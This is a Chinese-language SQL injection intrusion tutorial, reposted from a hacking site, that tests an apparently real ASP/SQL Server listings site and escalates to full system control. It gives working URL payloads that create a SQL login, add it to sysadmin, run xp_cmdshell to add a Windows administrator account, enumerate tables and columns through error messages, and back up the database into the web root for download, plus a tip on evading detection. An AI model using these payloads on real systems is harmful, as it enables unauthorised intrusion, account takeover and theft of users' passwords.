作者:覆滅之魔 文章來(lái)源:影子鷹安全網(wǎng)絡(luò )
剛剛開(kāi)始學(xué)習SQL注入入侵,有寫(xiě)的不對和不好的地方希望各位師哥,師姐們多多指導。
在一個(gè)供求信息發(fā)布的網(wǎng)站上測試了一下,頁(yè)面Http://www.xxx.com/new/new.asp?id=49
我做了如下測試:(1) Http://www.xxx.com/new/new.asp?id=49‘
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ‘80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的語(yǔ)法錯誤
在查詢(xún)表達式 ‘ID=49‘‘ 中。
/new.asp,行36
(2) Http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回頁(yè)面)
(3) Http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ‘800a0bcd‘
BOF 或 EOF 中有一個(gè)是"真",或者當前的記錄已被刪除,所需的操作要求一個(gè)當前的記錄。
/new.asp,行42
注:上面的測試已經(jīng)可以看出有SQL注入的機會(huì ),我們用下面一個(gè)句子來(lái)判斷他數據庫類(lèi)型和登陸身份。
Http://www.xxx.com/new/new.asp?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 錯誤 ‘800a0bcd‘
將nvarchar值 "dbo" 轉換數據類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯誤
/new.asp,行42
注:如果顯示"dbo" 轉換數據類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯誤 那么就可以用我下面介紹的方法來(lái)獲得系統管理權限,如果是"abc" 轉換數據類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯誤 那么就用不能用我下面的介紹來(lái)獲得系統權限了。
獲得以上信息后,就可以提交以下URL來(lái)一步一步的獲得SQL管理員權限和系統權限了。
(1) Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用戶(hù)
(2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
設置SQL賬號FMZM 的密碼為 FMZM
(3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--
提升權限:加FMZM進(jìn)sysadmin管理組(有時(shí)候會(huì )不成功,就常識下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 為什么會(huì )這樣,我也不清清楚,我就遇到了?栽 。。。)
(4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell ‘net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add‘;--
建立一個(gè)系統用FMZM 并設置其密碼為FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 這些很關(guān)鍵,如果不加這些,你建立的用戶(hù)很有可能無(wú)法登陸,這些是啟用你的賬號,并且使密碼永不過(guò)期的一些相關(guān)設置。)
(5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell ‘net localgroup administrators fmzm /add‘;--
把賬號FMZM加入到管理員組
OK,到此為止,已經(jīng)得到了SQL管理權限和系統權限了,還有什么不能做的呢?把上面的句子變個(gè)形 開(kāi)個(gè)TELNET,或者用SQL連接器去連接,隨便你怎么整了,記得別暴露自己哦 :)目前有些好的IDS已經(jīng)開(kāi)始監視xp_cmdshell這些關(guān)鍵字了.
附:
(1) http://Site/url.asp?id=1 ;;and db_name()>0
前面有個(gè)類(lèi)似的例子and user>0,作用是獲取連接用戶(hù)名,db_name()是另一個(gè)系統變量,返回的是連接的數據庫名。
(2) http://Site/url.asp?id=1;backup database 數據庫名 to disk=‘c:\inetpub\wwwroot\1.db‘;--
這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個(gè)數據庫就完完整整的下載回來(lái),所有的管理員及用戶(hù)密碼都一覽無(wú)遺!在不知道絕對路徑的時(shí)候,還可以備份到網(wǎng)絡(luò )地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。
(3) http://Site/url.asp?id=1 ;;and (select Top 1 name from sysobjects where xtype=‘U‘ and status>0)>0
sysobjects是SQLServer的系統表,存儲著(zhù)所有的表名、視圖、約束及其它對象,xtype=‘U‘ and status>0,表示用戶(hù)建立的表名,上面的語(yǔ)句將第一個(gè)表名取出,與0比較大小,讓報錯信息把表名暴露出來(lái)。第二、第三個(gè)表名怎么獲???還是可以
自己考慮下。
(4) http://Site/url.asp?id=1 ;;and (select Top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0
從(3)拿到表名后,用object_id(‘表名‘)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個(gè)字段名,將1換成2,3,4...就可以逐個(gè)獲取所猜解表里面的字段名。
聯(lián)系客服